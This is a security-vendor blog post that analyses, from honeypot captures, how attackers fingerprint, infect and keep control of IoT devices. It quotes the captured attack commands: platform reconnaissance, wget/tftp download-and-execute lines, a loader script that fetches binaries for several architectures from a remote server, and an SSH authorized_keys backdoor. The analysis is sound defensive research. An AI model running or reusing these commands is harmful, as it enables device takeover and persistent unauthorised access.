Compromising devices: a step by step analysis

Avira Protection Labs, 7 months ago 6 min read

Poorly secured IoT devices are a threat to home-owner, business, and service provider alike. Strong login credentials and well-designed security helps prevent hackers accessing devices that are increasingly taking control our homes and industry.

Recently, ZD Net reported a hacker published the Telnet credentials of more than 50,000 servers, routers and IoT devices and we’ve previously published research on how attackers can compromise devices in a real case scenario.

The way Avira uses honeypots has been described in this article. Using the honeypot, we can capture and record the second stage of the attack, as the device is compromised.In this article we’ll explore in more detail what actually happens when attackers get access to a device:

Step 1: Gathering information

Before infecting the device, attackers need to explore the set of tools available to them, and better understand the target platform (device). The platform is the combination of operating system and hardware.

Most modems and IoT devices have hardware based on  either ARM or MIPS processors. Linux , or OS based on Linux and Android are most commonly found on IoT devices. Because malware that is compiled for a specific platform will not work on another platform, the process of information gathering is essential before an actual infection can be made.

Part one:

After obtaining shell access, attackers obtain basic information using simple Linux commands. Below comes a portion of an attack which tries to gather some information:

# enable
# shell
# sh
# linuxshell
# /bin/busybox
  • The command “enable”, when executed without any parameters, provides attackers with a list of available commands.
  • By executing commands like “shell” “sh” “linuxshell” “/bin/busybox” the attacker tries to determine the shell executable. For example, executing “shell” command on a device will spawn a shell for attackers when it is available, when not, they will be replied by a message like “Command ‘shell’ not found,

Or sometimes attackers just execute commands to check if they are available or not:

/bin/busybox wget

/bin/busybox tftp

Part two:

Another way to find out more about the target platform is to use the command “cat /proc/cpuinfo” as shown below:

# cat /proc/cpuinfo
processor       : 0
model name      : ARMv6-compatible processor rev 7 (v6l)
BogoMIPS        : 697.95
Features        : half thumb fastmult vfp edsp java tls
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xb76
CPU revision    : 7Hardware        : BCM2835
Revision        : 000e
Serial          : 0000000000000000#

What is sent in reply to this command is, in our case, not a real response, but a fake one produced by the honeypot. Of course, none of attacker’s commands are executed on our honeypot, but we reply to them with carefully forged commands to fool the attackers and keep them continuing their penetration. This way we can gather more information on their methods.

Part three:

Another innovative method to gather information about the target platform that is used by attackers to cat the header of one of the existing binaries on the system and parse the ELF header.

An example of this can be found below:

/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox

In this example, they try to upload busybox binary back to extract information from its header or in another example

cd /tmp; cat .s || cp /bin/echo .s;
dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

They do the same thing but targeting another famous binary called echo.

Part four:

Some attackers gather information on available storage devices on the system, which is essential for gaining persistence on the system:

# cat /proc/mounts
/dev/root /rom squashfs ro,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,noatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,noatime 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noatime 0 0
/dev/mtdblock10 /overlay jffs2 rw,noatime 0 0
overlayfs:/overlay / overlay rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work 0 0
tmpfs /dev tmpfs rw,nosuid,relatime,size=512k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,mode=600 0 0
debugfs /sys/kernel/debug debugfs rw,noatime 0 0

Part five:

Gathering a list of active processes using the commands “ps“:

# /bin/busybox ps
6467 pts/0    00:00:00 sh
12013 pts/0    00:00:00 ps
  • Sometimes attackers do this to check if the router has already been infected. Making this check avoids potential conflicts caused by re-infecting the same modem.
  • They may also do this to find other potential malware and kill that instance, this way they can maintain control.

Part six:

Another method to obtain information about file system structure is to write a file in a directory and read it back. This way attackers can discover if the directory exists and they have the required permission to access that directory.

echo -e ‘\x47\x72\x6f\x70/tmp’ > /tmp/.nippon;   cat /tmp/.nippon;   rm -f /tmp/.nippon

\x47\x72\x6f\x70 is the ASCII form of the word “Grop“, Therefore above command writes “Grop/tmp” into a file called .nippon inside /tmp and tries to read it. Successfully reading this file means that the /tmp directory exists and the current user has the required access permissions.

  • Attackers usually scan a list of available directories on the device to find the best place to drop their malware.
  • As they gain more information on the device file system they gain insight into the device. In some cases they can identify the nature of the device (modem, camera etc) and the platform.

Step 2: Infect the device

In most cases, the ultimate purpose of all these hassles is to infect the device with malware.

Part one:

The most common way to download malware in the device is to use available tools on the device such as TFTP and wget.

tftp -l.i -r.i -g; chmod 777 .i; ./.i
/bin/busybox wget -O – > ESE-GO-VIC; /bin/busybox chmod 777 ESE-GO-VIC
./ESE-GO-VIC selfrep.arm7

Part two:

Some scripts choose another reliable approach, echoing malware binary and saving that into a file, effectively writing the malware to the disk byte by byte.

echo -ne ‘\x7f\x45\x4c\x46\x01\x01\x01\x61\x00\x00\x00\x00\… >> usb_ver;

chmod +x ./usb_ver;./usb_ver;


  • One advantage of this method is that it requires special tools (such as TFTPor wget) to exist on the device: Increased reliability.
  • Another advantage of this method is that the malware is transferred in the current session and no new connection is made. This means less chance of being detected or blocked with firewalls or other security mechanisms: Increased stealth.
  • However, the downside of using this method is its lack of efficiency. Each byte of malware should be sent in hex format, represented by 4 bytes. 1KB of malware therefore required 4KB of data to be transferred. This, of course, is not a serious problem considering that most of these malware samples are relatively short binaries.

Part three: Evasion

On occasions, instead of directly downloading the malware, it is better to download an intermediary script that is responsible to download the sample. This single added level of indirection will bypass the detection in honeypots that only execute/emulate received commands. For instance:

wget -O – > wge; chmod 777 wget; ./wge;

The above commands do not download  malware itself, they download the following script and execute:


files=”armv7l aarch64 i586 i686 mips mipsel”

cd /data/local/tmp

for file in $files

rm -rf $outfile
wget http://$file_server/$dir/$file -O – >$outfile
chmod 777 $outfile
./$outfile adb


rm -rf $outfile
rm -rf $0

This effectively downloads malware samples compiled for different platforms.

It is also worth paying special attention to the above script. This attacker, instead of getting the information from the target device and selecting the correct malware for the corresponding platform, simply uploads the malware for every popular platform and executes all, hoping for one of them to work. This is another unique type of attack on its own.

Step 3: Redirecting traffic through a compromised device

SSH has a strong type of encryption, meaning that the incoming and outgoing traffic to/from a device (using SSH) cannot be decrypted by anyone but the device itself. This feature would make the device a perfect place for redirecting traffic once access is gained.

  • As the traffic is fully encrypted, it is a perfect opportunity to redirect malicious traffic from a device. It makes it difficult to find where is the real origin and destination of the traffic, bringing some sort of anonymity to criminals.
  • The encrypted traffic would not be prone to MITM attack or any surveillance, which makes it a perfect opportunity to hide malicious content as well as real origins.
  • This is the same functionality that VPNs and proxy servers provide. This way, attackers can use these devices effectively as VPNs or proxy servers by redirecting malicious traffic.

In many cases, when attackers find that a device is prone to SSH Tunneling, the first thing they do is check their public IP address. Doing this, they can confirm that they have established a working route to their destination.

Attack no. Date Port IP Url
65507 Tue, 24 Sep 2019 08:52:17 (UTC) 23 (SSH)

Step 4: Gaining  persistence on the device

The script below was captured on the honeypot. The attacker copies their public key to the authorized keys after successfully logging into the device, effectively guaranteeing their future access. This method enables the attacker to log back into the device even after the current username/password of the SSH protocol is changed by the administrator.

cat .ssh/authorized_keys|grep -v ‘heVAZUWSKH*truncated*’ >>.ssh/.auth_k;
echo ‘ssh-rsa AAAAB3NzaC1y*truncated*’ >> .ssh/.auth_k;
mv .ssh/.auth_k .ssh/authorized_keys;

First line of the above script creates a back-up of the keys on the device. It is followed by the second line which concatenated the attacker key to the existing keys on the device and in the last line the authorization keys are replaced with the modified version.


This type of approach is commonly used by attackers intent on compromising IoT devices. Furthermore, this research shows what the attackers can do once they find such IoT devices and how they can use them for malicious purpose.


Want to comment on this post?

We encourage you to share your thoughts on your favorite social platform.
Compromising devices: a step by step analysis

Avira Protection Labs

Protection Lab is the heart of Avira’s threat detection and protection unit. The researchers at work in the Labs are some of the most qualified and skilled anti-malware researchers in the security industry. They conduct highly advance research to provide the best detection and protection to nearly a billion people world-wide.

You might like

Expert Perspectives

Vulnerability update – May 2020

Vulnerability update – May 2020

In this report we will take a look at some of the more interesting vulnerabilities of early 2020.

4 months ago 3 min read